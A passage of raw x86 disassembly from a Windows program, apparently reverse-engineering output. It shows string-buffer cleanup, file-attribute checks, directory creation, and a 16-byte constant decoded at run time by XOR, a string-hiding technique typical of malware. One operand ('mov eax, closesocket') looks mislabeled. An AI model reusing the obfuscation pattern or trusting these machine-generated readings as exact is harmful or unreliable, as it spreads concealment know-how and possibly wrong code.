je 0x414037
cmp eax, 0x45
je 0x414037
cmp eax, 0x24
jne 0x414047
push 0x5651d0
call fcn.00504243
mov byte [ebp - 0x11], 1
jmp 0x414055
push 0x5651d0
call fcn.00504243
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x1b
add esp, 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x414090
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x414086
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145c2
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x4140da
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4140d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145c2
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x414471
movaps xmm0, xmmword [0x552280]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov word [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x12], 0
nop dword [eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x10
jb 0x414110
mov dword [0x565628], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414142
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 0x1d
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414170
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x90]
sub eax, edx
cmp eax, ecx
jb 0x4145c7
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
lea ecx, [ebp - 0x70]
call fcn.004946d0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x4141e7
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4141dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145dc
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
push 0x5651d0
cmovae esi, dword [ebp - 0x70]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x4145cc
test esi, esi
je 0x414250
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414210
sub ecx, edx
je 0x414250
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x414241
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x414241
cmp eax, 0x20
je 0x414241
cmp eax, 0x45
je 0x414241
cmp eax, 0x24
jne 0x414250
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x414279
push 0x5651d0
call fcn.00504243
add esp, 4
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41443d
movaps xmm0, xmmword [0x552280]
lea eax, [ebp - 0x70]
sub esp, 0x18
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x54], esp
mov ecx, esp
xorps xmm0, xmm0
mov word [ebp - 0x14], 0
push eax
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0x20
xor ecx, ecx
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x10
jb 0x4142b7
mov dword [0x565628], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x28], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4142f0
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402c40
mov byte [ebp - 4], 0x21
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae esi, dword [ebp - 0x50]
sub esp, 0x18
mov ecx, esi
mov edi, esp
mov dword [ebp - 0x58], edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414322
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x78]
sub eax, edx
cmp eax, ecx
jb 0x4145d2
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push ecx
cmovae eax, dword [ebp - 0x88]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x54]
mov ecx, edi
call fcn.004946d0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x22
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x4143af
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4143a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145dc
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x11]
add esp, 8
test al, al
je 0x4143c1
mov eax, dword [ebp - 0xa4]
mov byte [eax], 1
jmp 0x41443d
cmp dword [ebp - 0x5c], 0x10
lea edx, [ebp - 0x70]
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
cmovae edx, dword [ebp - 0x70]
mov ecx, edx
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4143e6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x50]
call fcn.00402c40
push ecx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x23
call fcn.0040e110
mov ecx, dword [ebp - 0x3c]
add esp, 4
cmp ecx, 0x10
jb 0x41443d
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x414433
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145d7
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x414471
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x414467
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145dc
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x4144ba
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4144a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145e1
push ecx
push edx
call fcn.00504f31
add esp, 8
jmp 0x4144ba
push 0x5651d0
call fcn.00504243
add esp, 4
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x4144f1
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4144e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145e6
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x41453a
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x414530
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4145e6
push ecx
push edx
call fcn.00504f31
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
push eax
call fcn.00503edb
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.0050a1d0
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.0050a1d0
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.0050a1d0
call fcn.004024b0
push eax
call fcn.00503edb
call fcn.004024b0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
int3